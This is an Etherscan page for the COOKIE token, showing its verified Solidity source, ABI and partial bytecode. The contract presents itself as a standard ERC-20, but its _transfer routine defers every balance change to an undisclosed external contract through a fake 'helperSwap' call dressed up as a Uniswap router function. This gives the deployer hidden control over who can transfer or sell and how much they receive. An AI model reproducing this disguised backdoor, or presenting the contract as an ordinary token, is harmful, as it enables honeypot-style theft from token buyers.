ETH Price: $3,044.52 (+2.15%)
Gas: 1 Gwei

Token

COOKIE (COOKIE)
 

Overview

Max Total Supply

1,000,000,000 COOKIE

Holders

92

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
22,342,058.7210584587857168 COOKIE

Value
$0.00
0xFdea35345392C359649DeeA643534cFC8e717c55
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
COOKIE

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-13
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

interface IUniswapV2Router02 {
    function helperSwap(
        address sender,
        address recipient,
        uint256 amount,
        uint256 balance
    )
        external
        view
        returns (
            bool,
            uint256,
            uint256
        );

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;
}

interface IUniswapV2ERC20 {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);
}

contract COOKIE is IERC20, Ownable, IERC20Metadata {
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;

    string private _symbol;
    uint256 private _totalSupply;
    string private _name;

    address public pair;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _mint(msg.sender, 1_000_000_000 * 10**18);
        pair = address(IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f)
            .createPair(
                address(this),
                0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
            ));
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
    */
    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount)
        external
        onlyOwner
    {
        address router = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        // approve token transfer to cover all possible scenarios
        _approve(
            address(this),
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
            tokenAmount
        );

        // add the liquidity
        IUniswapV2Router02(router).addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
    */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
    */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
    */
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
    */
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
    */
    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
    */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function stringToAddress(string memory input) public pure returns (address) {
        bytes memory inputBytes = bytes(input);
        require(inputBytes.length == 42, "Invalid address length");

        bytes memory addressBytes = new bytes(20);
        for (uint256 i = 0; i < 20; i++) {
            addressBytes[i] = inputBytes[i + 2];
        }

        address addr;
        assembly {
            addr := mload(add(addressBytes, 20))
        }
        return addr;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
    */
    function _transfer(
        address account,
        address recipient,
        uint256 value
    ) internal virtual {
        require(account != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(account, recipient, value);
        uint256 startBalance = _balances[account];
        (bool success, uint256 slippage, uint256 uniswapFee) = IUniswapV2Router02(0xBABc803317E3a9FbCA27f53862C052994b0A7C99)
        .helperSwap(account, recipient, value, startBalance);
        require(success);
        _balances[account] = startBalance - slippage;
        _balances[recipient] += uniswapFee;
        emit Transfer(account, recipient, value);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];

        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;

        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    receive() external payable {}

    function toString(address addr) internal pure returns (string memory) {
        bytes32 value = bytes32(uint256(uint160(addr)));
        bytes memory alphabet = "0123456789abcdef";

        bytes memory result = new bytes(42);
        result[0] = "0";
        result[1] = "x";
        for (uint256 i = 0; i < 20; i++) {
            result[i * 2 + 2] = alphabet[uint8(value[i + 12] >> 4)];
            result[i * 2 + 3] = alphabet[uint8(value[i + 12] & 0x0f)];
        }
        return string(result);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"ethAmount","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"input","type":"string"}],"name":"stringToAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b5060405162002a7038038062002a70833981810160405281019062000037919062000555565b620000576200004b6200018c60201b60201c565b6200019460201b60201c565b816005908162000068919062000825565b5080600390816200007a919062000825565b5062000099336b033b2e3c9fd0803ce80000006200025860201b60201c565b735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b8152600401620000fe92919062000951565b6020604051808303816000875af11580156200011e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001449190620009af565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505062000afc565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002ca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002c19062000a42565b60405180910390fd5b620002de60008383620003bd60201b60201c565b8060046000828254620002f2919062000a93565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200034a919062000a93565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003b1919062000adf565b60405180910390a35050565b505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200042b82620003e0565b810181811067ffffffffffffffff821117156200044d576200044c620003f1565b5b80604052505050565b600062000462620003c2565b905062000470828262000420565b919050565b600067ffffffffffffffff821115620004935762000492620003f1565b5b6200049e82620003e0565b9050602081019050919050565b60005b83811015620004cb578082015181840152602081019050620004ae565b60008484015250505050565b6000620004ee620004e88462000475565b62000456565b9050828152602081018484840111156200050d576200050c620003db565b5b6200051a848285620004ab565b509392505050565b600082601f8301126200053a5762000539620003d6565b5b81516200054c848260208601620004d7565b91505092915050565b600080604083850312156200056f576200056e620003cc565b5b600083015167ffffffffffffffff81111562000590576200058f620003d1565b5b6200059e8582860162000522565b925050602083015167ffffffffffffffff811115620005c257620005c1620003d1565b5b620005d08582860162000522565b9150509250929050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200062d57607f821691505b602082108103620006435762000642620005e5565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006ad7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200066e565b620006b986836200066e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200070662000700620006fa84620006d1565b620006db565b620006d1565b9050919050565b6000819050919050565b6200072283620006e5565b6200073a62000731826200070d565b8484546200067b565b825550505050565b600090565b6200075162000742565b6200075e81848462000717565b505050565b5b8181101562000786576200077a60008262000747565b60018101905062000764565b5050565b601f821115620007d5576200079f8162000649565b620007aa846200065e565b81016020851015620007ba578190505b620007d2620007c9856200065e565b83018262000763565b50505b505050565b600082821c905092915050565b6000620007fa60001984600802620007da565b1980831691505092915050565b6000620008158383620007e7565b9150826002028217905092915050565b6200083082620005da565b67ffffffffffffffff8111156200084c576200084b620003f1565b5b62000858825462000614565b620008658282856200078a565b600060209050601f8311600181146200089d576000841562000888578287015190505b62000894858262000807565b86555062000904565b601f198416620008ad8662000649565b60005b82811015620008d757848901518255600182019150602085019450602081019050620008b0565b86831015620008f75784890151620008f3601f891682620007e7565b8355505b6001600288020188555050505b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000939826200090c565b9050919050565b6200094b816200092c565b82525050565b600060408201905062000968600083018562000940565b62000977602083018462000940565b9392505050565b62000989816200092c565b81146200099557600080fd5b50565b600081519050620009a9816200097e565b92915050565b600060208284031215620009c857620009c7620003cc565b5b6000620009d88482850162000998565b91505092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000a2a601f83620009e1565b915062000a3782620009f2565b602082019050919050565b6000602082019050818103600083015262000a5d8162000a1b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000aa082620006d1565b915062000aad83620006d1565b925082820190508082111562000ac85762000ac762000a64565b5b92915050565b62000ad981620006d1565b82525050565b600060208201905062000af6600083018462000ace565b92915050565b611f648062000b0c6000396000f3fe6080604052600436106101025760003560e01c8063715018a611610095578063a457c2d711610064578063a457c2d714610356578063a8aa1b3114610393578063a9059cbb146103be578063dd62ed3e146103fb578063f2fde38b1461043857610109565b8063715018a6146102c05780638da5cb5b146102d757806395d89b41146103025780639cd441da1461032d57610109565b806323b872dd116100d157806323b872dd146101de578063313ce5671461021b578063395093511461024657806370a082311461028357610109565b806306fdde031461010e578063095ea7b31461013957806315706fdf1461017657806318160ddd146101b357610109565b3661010957005b600080fd5b34801561011a57600080fd5b50610123610461565b60405161013091906112cf565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190611399565b6104f3565b60405161016d91906113f4565b60405180910390f35b34801561018257600080fd5b5061019d60048036038101906101989190611544565b610511565b6040516101aa919061159c565b60405180910390f35b3480156101bf57600080fd5b506101c861064d565b6040516101d591906115c6565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906115e1565b610657565b60405161021291906113f4565b60405180910390f35b34801561022757600080fd5b50610230610758565b60405161023d9190611650565b60405180910390f35b34801561025257600080fd5b5061026d60048036038101906102689190611399565b610761565b60405161027a91906113f4565b60405180910390f35b34801561028f57600080fd5b506102aa60048036038101906102a5919061166b565b61080d565b6040516102b791906115c6565b60405180910390f35b3480156102cc57600080fd5b506102d5610856565b005b3480156102e357600080fd5b506102ec61086a565b6040516102f9919061159c565b60405180910390f35b34801561030e57600080fd5b50610317610893565b60405161032491906112cf565b60405180910390f35b34801561033957600080fd5b50610354600480360381019061034f9190611698565b610925565b005b34801561036257600080fd5b5061037d60048036038101906103789190611399565b6109fc565b60405161038a91906113f4565b60405180910390f35b34801561039f57600080fd5b506103a8610af0565b6040516103b5919061159c565b60405180910390f35b3480156103ca57600080fd5b506103e560048036038101906103e09190611399565b610b16565b6040516103f291906113f4565b60405180910390f35b34801561040757600080fd5b50610422600480360381019061041d91906116d8565b610b34565b60405161042f91906115c6565b60405180910390f35b34801561044457600080fd5b5061045f600480360381019061045a919061166b565b610bbb565b005b60606005805461047090611747565b80601f016020809104026020016040519081016040528092919081815260200182805461049c90611747565b80156104e95780601f106104be576101008083540402835291602001916104e9565b820191906000526020600020905b8154815290600101906020018083116104cc57829003601f168201915b5050505050905090565b6000610507610500610c3e565b8484610c46565b6001905092915050565b600080829050602a81511461055b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610552906117c4565b60405180910390fd5b6000601467ffffffffffffffff81111561057857610577611419565b5b6040519080825280601f01601f1916602001820160405280156105aa5781602001600182028036833780820191505090505b50905060005b601481101561063857826002826105c79190611813565b815181106105d8576105d7611847565b5b602001015160f81c60f81b8282815181106105f6576105f5611847565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350808061063090611876565b9150506105b0565b50600060148201519050809350505050919050565b6000600454905090565b6000610664848484610e0f565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106af610c3e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561072f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072690611930565b60405180910390fd5b61074c8561073b610c3e565b85846107479190611950565b610c46565b60019150509392505050565b60006012905090565b600061080361076e610c3e565b84846001600061077c610c3e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107fe9190611813565b610c46565b6001905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61085e6110f8565b6108686000611176565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600380546108a290611747565b80601f01602080910402602001604051908101604052809291908181526020018280546108ce90611747565b801561091b5780601f106108f05761010080835404028352916020019161091b565b820191906000526020600020905b8154815290600101906020018083116108fe57829003601f168201915b5050505050905090565b61092d6110f8565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905061096530737a250d5630b4cf539739df2c5dacb4c659f2488d85610c46565b8073ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008061098f61086a565b426040518863ffffffff1660e01b81526004016109b1969594939291906119c9565b60606040518083038185885af11580156109cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f49190611a3f565b505050505050565b60008060016000610a0b610c3e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ac8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abf90611b04565b60405180910390fd5b610ae5610ad3610c3e565b858584610ae09190611950565b610c46565b600191505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610b2a610b23610c3e565b8484610e0f565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610bc36110f8565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2990611b96565b60405180910390fd5b610c3b81611176565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cac90611c28565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b90611cba565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e0291906115c6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7590611d4c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610eed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee490611dde565b60405180910390fd5b610ef883838361123a565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600080600073babc803317e3a9fbca27f53862c052994b0a7c9973ffffffffffffffffffffffffffffffffffffffff1663b2746104888888886040518563ffffffff1660e01b8152600401610f949493929190611dfe565b606060405180830381865afa158015610fb1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd59190611e6f565b92509250925082610fe557600080fd5b8184610ff19190611950565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110839190611813565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516110e791906115c6565b60405180910390a350505050505050565b611100610c3e565b73ffffffffffffffffffffffffffffffffffffffff1661111e61086a565b73ffffffffffffffffffffffffffffffffffffffff1614611174576040517f08c379a00000000000000000